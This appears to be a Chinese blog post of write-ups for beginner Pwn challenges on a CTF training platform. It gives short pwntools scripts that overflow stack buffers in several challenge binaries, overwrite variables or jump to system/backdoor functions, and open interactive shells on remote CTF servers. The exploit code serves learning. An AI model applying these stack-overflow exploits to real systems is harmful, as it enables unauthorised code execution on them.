攻防世界 Pwn 新手

最新推荐文章于 2022-03-06 09:56:27 发布

原创

最新推荐文章于 2022-03-06 09:56:27 发布 · 4.2k 阅读

20 ·

CC 4.0 BY-SA版权

文章标签：

#安全

本文档记录了作者在使用Python2.7过程中遇到的几种栈溢出技巧，包括get_shell、hello_pwn等简单案例，以及level3的复杂场景，涉及系统调用、字符串编码、整数溢出和format_string漏洞。重点讲解了如何处理不同环境下的地址长度和后门函数寻找策略。

该文章已生成可运行项目，

是一个总结与汇总，会把见到的思路，想法，wp都记录下来，并进行简单的分类

这里面的每个题我都没有去检查保护，太麻烦，新手区也没有需要绕过保护的，最简单的canary绕过也在进阶。
ps：我这里用的是python2.7。如果用python3的话代码会有一个致命的不同，看我的另外一篇博客

字符串编码解决python3 payload=‘a‘ +p64(1926)报错问题

01 get_shell

1、nc连接就行在这里插入图片描述 2、简单的exp

from pwn import*
r=remote("220.249.52.133",35257)
r.interactive()

02 hello_pwn

在这里插入图片描述最最简单的栈溢出

from pwn import*
r=remote("220.249.52.133",30174)
payload='aaaa'+p32(1853186401)
r.sendlineafter("bof",payload)
r.interactive()

03 when_did_you_born

栈溢出覆盖变量就行

from pwn import*
r=remote("220.249.52.133",56940)
r.sendlineafter("Birth?",'1234')
payload='aaaaaaaa'+p32(1926)
r.sendlineafter("Name?",payload) 
r.interactive()

04 level0

在这里插入图片描述简单的栈溢出，找一下后门函数 system

from pwn import*
r=remote("220.249.52.133",42821)
payload='a'*0x88+p64(0x400596) 
r.sendline(payload)
r.interactive()

这个倒是要注意它程序里面是write函数的时候不用r.recv()

05 level2

在这里插入图片描述栈溢出需要找一下system参数

from pwn import*
r=remote("220.249.52.133",52591)
payload='a'*0x88+'aaaa' + p32(0x8048320) + 'aaaa'+p32(0x804a024)
r.sendline(payload)
r.interactive()